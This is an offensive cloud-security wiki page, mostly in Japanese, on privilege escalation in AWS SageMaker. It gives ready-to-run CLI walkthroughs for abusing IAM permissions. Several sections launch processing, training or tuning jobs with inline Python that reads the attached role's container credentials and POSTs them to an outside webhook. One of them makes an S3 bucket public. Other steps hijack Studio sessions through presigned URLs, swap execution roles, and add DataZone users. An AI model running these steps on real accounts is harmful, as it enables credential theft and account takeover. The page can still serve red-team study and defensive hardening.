# AWS - Sagemaker Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## AWS - Sagemaker Privesc

### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`

アクセス可能な IAM Role をアタッチして notebook の作成を開始します:
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
レスポンスには `NotebookInstanceArn` フィールドが含まれ、作成したノートブックインスタンスの ARN が格納されます。準備ができたら、`create-presigned-notebook-instance-url` API を使って、ノートブックインスタンスにアクセスするための URL を生成できます:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
ブラウザで該当のURLにアクセスし、右上の `Open JupyterLab` をクリックします。次に下にスクロールして “Launcher” タブを開き、”Other” セクションで “Terminal” ボタンをクリックしてください。

これで IAM Role のメタデータ認証情報にアクセスできるようになります。

**Potential Impact:** 指定された sagemaker service role への Privesc。

### `sagemaker:CreatePresignedNotebookInstanceUrl`

もしその上で Jupyter **notebooks が既に動作していて**、`sagemaker:ListNotebookInstances`（または他の方法で発見できる）で一覧化できる場合、**これらのノートブック用の URL を生成し、アクセスして、前の手法で示したように認証情報を盗むことができます。**
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**Potential Impact:** sagemaker にアタッチされているサービスロールへの Privesc


## `sagemaker:CreatePresignedDomainUrl`

> [!WARNING]
> この攻撃は古い従来の SageMaker Studio ドメインでのみ動作し、SageMaker Unified Studio によって作成されたドメインでは動作しません。Unified Studio からのドメインは次のエラーを返します: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".

`UserProfile` に対して `sagemaker:CreatePresignedDomainUrl` を呼び出す権限を持つアイデンティティは、そのプロファイルとして直接 SageMaker Studio に認証するログイン URL を発行できます。これにより、攻撃者のブラウザはプロファイルの `ExecutionRole` 権限を継承する Studio セッションと、プロファイルの EFS-backed ホームおよびアプリへのフルアクセスを得ます。`iam:PassRole` やコンソールアクセスは不要です。

**Requirements**:
- SageMaker Studio の `Domain` とその中のターゲット `UserProfile`。
- 攻撃者プリンシパルはターゲットの `UserProfile`（リソースレベル）または `*` に対する `sagemaker:CreatePresignedDomainUrl` が必要。

Minimal policy example (scoped to one UserProfile):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
**悪用手順**:

1) 対象にできる Studio Domain と UserProfiles を列挙する
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) unified studio が使用されていないか確認する (attack は従来の SageMaker Studio ドメインでのみ動作します)
```bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
```
3) Generate a presigned URL (デフォルトで約5分間有効)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
4) 返された URL をブラウザで開き、ターゲットユーザーとして Studio にサインインします。Studio 内の Jupyter ターミナルで、実効的なアイデンティティを確認するか、トークンを exfiltrate します:
```bash
aws sts get-caller-identity
```
Notes:
- `--landing-uri` は省略可能です。いくつかの値（例: `app:JupyterLab:/lab`）は Studio のフレーバー/バージョンによって拒否される場合があります。デフォルトでは通常 Studio のホームにリダイレクトされ、さらに Jupyter に遷移します。
- 組織ポリシーや VPC エンドポイントの制限によりネットワークアクセスがブロックされる可能性があります。トークンの発行にはコンソールのサインインや `iam:PassRole` は不要です。

**Potential Impact**: 許可された ARN を持つ任意の Studio `UserProfile` を引き受け、その `ExecutionRole` とファイルシステム/アプリを継承することで横移動および権限昇格が可能になります。


### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`

対象の SageMaker MLflow Tracking Server に対して `sagemaker:CreatePresignedMlflowTrackingServerUrl`（および後続のアクセスに必要な `sagemaker-mlflow:AccessUI`、`sagemaker-mlflow:SearchExperiments`）を呼び出す権限を持つアイデンティティは、当該サーバーの管理された MLflow UI に直接認証する一回限りの presigned URL を発行できます。これにより、正当なユーザーと同様にサーバーの操作（experiment や run の閲覧/作成、サーバーの S3 アーティファクトストアからのダウンロード/アップロード）が可能になります。

**Requirements:**
- アカウント/リージョン内にある SageMaker MLflow Tracking Server とその名前。
- 攻撃者プリンシパルは対象の MLflow Tracking Server リソース（または `*`）に対して `sagemaker:CreatePresignedMlflowTrackingServerUrl` の権限が必要。

**Abuse Steps**:

1) 対象にできる MLflow Tracking Server を列挙し、1つの名前を選択する
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) presigned MLflow UI URL を生成する（短時間のみ有効）
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
```
3) 返されたURLをブラウザで開くと、そのTracking Serverに対して認証済みユーザーとしてMLflow UIにアクセスできます。

**Potential Impact:** 対象のTracking Serverの管理されたMLflow UIへ直接アクセスでき、サーバー設定で課される権限の範囲内で実験/ランの閲覧や変更、およびサーバーで構成された S3 artifact store に保存されたアーティファクトの取得やアップロードが可能になります。


### `sagemaker:CreateProcessingJob`, `iam:PassRole`

その権限を持つ攻撃者は、SageMakerロールをアタッチした状態で**SageMakerにprocessing jobを実行させる**ことができます。既にPythonを含む AWS Deep Learning Containers のいずれかを再利用し（URIと同じリージョンでjobを実行することで）、独自のイメージを構築せずにインラインでコードを実行できます:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
```
**潜在的影響:** Privesc to the sagemaker service role specified.

### `sagemaker:CreateTrainingJob`, `iam:PassRole`

これらの権限を持つ攻撃者は、指定されたロールで任意のコードを実行するトレーニングジョブを起動できます。公式の SageMaker コンテナを使用し、entrypoint を payload inline で上書きすれば、自前のイメージを構築する必要はありません:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
```
**Potential Impact:** 指定された SageMaker サービスロールへの Privesc。

### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

これらの権限を持つ attacker は、指定したロールで attacker-controlled code を実行する HyperParameter Tuning Job を起動できます。Script mode はペイロードを S3 にホストする必要がありますが、すべての手順は CLI から自動化できます:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
```
プロセスによって起動された各トレーニングは、メトリクスを出力し、指定されたロールの資格情報を外部に送信します。

### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)

SageMaker Studio User Profile を更新し、アプリを作成し、そのアプリへの presigned URL を作成する権限と `iam:PassRole` があれば、攻撃者は `ExecutionRole` を SageMaker のサービスプリンシパルが引き受け可能な任意の IAM ロールに設定できます。そのプロファイルで起動される新しい Studio アプリは入れ替えたロールで実行され、Jupyter ターミナルや Studio から起動したジョブを通じて対話的に権限を昇格させます。

> [!WARNING]
> この攻撃は、プロファイル内にアプリケーションが存在しないことを前提としています。もしアプリが存在すると、アプリ作成は次のようなエラーで失敗します: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
> もしアプリが存在する場合は、まずそれらを削除するために `sagemaker:DeleteApp` 権限が必要です。

手順:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

```
**潜在的な影響**: 指定された SageMaker の実行ロールの権限への権限昇格（インタラクティブな Studio セッション向け）。


### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)

SageMaker Studio Domain を更新し、アプリとその presigned URL を作成し、`iam:PassRole` の権限を持っていると、攻撃者はドメインのデフォルト `ExecutionRole` を SageMaker サービスプリンシパルが引き受け可能な任意の IAM ロールに設定できます。そのプロファイルで起動される新しい Studio アプリは入れ替えたロールで実行され、Jupyter ターミナルや Studio から起動したジョブを通じてインタラクティブに権限昇格した操作を行えます。

> [!WARNING]
> この攻撃は、ドメイン内にアプリケーションが存在しないことを前提とします。存在する場合、アプリ作成は次のエラーで失敗します: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`

手順:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)
```
**Potential Impact**: インタラクティブな Studio セッションにおいて、指定された SageMaker 実行ロールの権限への特権昇格

### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`

ターゲットの UserProfile に対して SageMaker Studio アプリを作成する権限を持つ攻撃者は、そのプロファイルの `ExecutionRole` で動作する JupyterServer アプリを起動できます。これにより、Jupyter ターミナルや Studio から起動したジョブを通じてロールの権限に対するインタラクティブなアクセスが得られます。

Steps:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
```
**Potential Impact**: 対象の UserProfile にアタッチされた SageMaker 実行ロールへの対話的アクセス。


### `iam:GetUser`, `datazone:CreateUserProfile`

これらの権限を持つ攻撃者は、対象の IAM ユーザーのために DataZone User Profile を作成することで、その IAM ユーザーに Sagemaker Unified Studio Domain へのアクセスを付与できます。
```bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
```
The Unified Domain URL は次の形式です: `https://<domain-id>.sagemaker.<region>.on.aws/` (例: `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).

**Potential Impact:** Sagemaker Unified Studio Domain にユーザーとしてアクセスできると、Sagemaker ドメイン内のすべてのリソースにアクセスでき、さらに Sagemaker Unified Studio Domain 内のノートブックが使用しているロールへ権限を昇格させる可能性があります。

## References

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)


{{#include ../../../../banners/hacktricks-training.md}}
